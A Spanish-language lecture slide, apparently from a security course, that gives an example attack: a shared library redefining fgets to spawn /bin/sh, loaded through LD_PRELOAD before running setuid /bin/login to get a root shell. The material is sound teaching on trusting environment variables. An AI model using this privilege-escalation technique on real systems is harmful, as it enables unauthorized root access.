Primera página Regresar Siguiente Última página Imagen
Ejemplos de ataques
Confiar en las variables de entorno
- Tomamos un programa setuid para root y que use librerías dinámicas (por ejempló /bin/login, carga dinámicamente la función fgets para recoger el usuario)
- Creamos la librería libme.so en el directorio actual nueva redefiniéndola:
- fgets(char *buf, int n, FILE *fp)
- {
- execl("/bin/sh", "-sh", 0);
- }
- Si ejecutamos
- % LD_PRELOAD=.:$LD_PRELOAD
- % /bin/login
- #
- Tendríamos un shell con privilegios de su propietario.
Notas: